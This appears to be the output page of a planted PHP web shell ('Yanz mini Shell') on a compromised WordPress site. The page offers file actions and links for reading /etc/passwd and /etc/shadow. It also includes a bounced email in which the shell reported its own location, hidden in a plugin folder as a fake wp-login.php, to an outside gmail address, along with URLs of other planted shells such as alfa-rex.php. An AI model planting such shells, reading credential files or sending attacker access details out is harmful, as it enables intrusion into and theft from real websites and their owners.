Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

Envelope-to: guitarlisty@host.interactivevillages.com
Delivery-date: Wed, 12 Feb 2025 01:13:54 -0500
Auto-Submitted: auto-replied
From: Mail Delivery System <Mailer-Daemon@host.interactivevillages.com>
To: guitarlisty@host.interactivevillages.com
References: <E1ti60Q-00000005g54-2Byn@host.interactivevillages.com>
Content-Type: multipart/report; report-type=delivery-status; boundary=1739340834-eximdsn-803589879
MIME-Version: 1.0
Subject: Mail delivery failed: returning message to sender
Message-Id: <E1ti60Q-00000005g5O-2U1K@host.interactivevillages.com>
Date: Wed, 12 Feb 2025 01:13:54 -0500

--1739340834-eximdsn-803589879
Content-type: text/plain; charset=us-ascii

This message was created automatically by mail delivery software.

A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:

xyndicategaming@gmail.com
    Domain guitarlisty.com has exceeded the max emails per hour (125/100 (125%)) allowed.  Message discarded.

--1739340834-eximdsn-803589879
Content-type: message/delivery-status

Reporting-MTA: dns; host.interactivevillages.com

Action: failed
Final-Recipient: rfc822;xyndicategaming@gmail.com
Status: 5.0.0

--1739340834-eximdsn-803589879
Content-type: message/rfc822

Return-path: <guitarlisty@host.interactivevillages.com>
Received: from guitarlisty by host.interactivevillages.com with local (Exim 4.98)
	(envelope-from <guitarlisty@host.interactivevillages.com>)
	id 1ti60Q-00000005g54-2Byn
	for xyndicategaming@gmail.com;
	Wed, 12 Feb 2025 01:13:54 -0500
To: xyndicategaming@gmail.com
Subject: Logged Shell Yanz
X-PHP-Script: guitarlisty.com/wp-content/plugins/google-site-kit/third-party/symfony/polyfill-intl-normalizer/Resources/stubs/wp-login.php for 20.171.207.92, 172.69.34.199, 54.226.244.232
X-PHP-Originating-Script: 1003:phpuUJIpO(1) : eval()'d code(10) : eval()'d code
Message-Id: <E1ti60Q-00000005g54-2Byn@host.interactivevillages.com>
From: guitarlisty@host.interactivevillages.com
Date: Wed, 12 Feb 2025 01:13:54 -0500

[ 54.226.244.232 ]

Logged Shell http://guitarlisty.com/wp-content/plugins/google-site-kit/third-party/symfony/polyfill-intl-normalizer/Resources/stubs/wp-login.php Yanz Password ( |  | ) SpawnedShell 
https://guitarlisty.com/wp-content/plugins/thrive-headline-optimizer/thrive-dashboard/templates/sections/about.php	https://guitarlisty.com/wp-content/plugins/thrive-headline-optimizer/thrive-dashboard/templates/sections/about.php7	https://guitarlisty.com/wp-content/plugins/thrive-headline-optimizer/thrive-dashboard/templates/sections/wp-login.php	https://guitarlisty.com/wp-content/plugins/thrive-headline-optimizer/thrive-dashboard/templates/sections/alfa-rex.PhP7	https://guitarlisty.com/wp-content/plugins/thrive-headline-optimizer/thrive-dashboard/templates/sections/alfa-rex.php56	https://guitarlisty.com/wp-content/plugins/thrive-headline-optimizer/thrive-dashboard/templates/sections/alfa-rex.php8	https://guitarlisty.com/wp-content/plugins/thrive-headline-optimizer/thrive-dashboard/templates/sections/index.php	https://guitarlisty.com/wp-content/plugins/thrive-headline-optimizer/thrive-dashboard/templates/sections/alfa-rex.PHP	 *IP Address : [ 54.226.244.232 ]

--1739340834-eximdsn-803589879--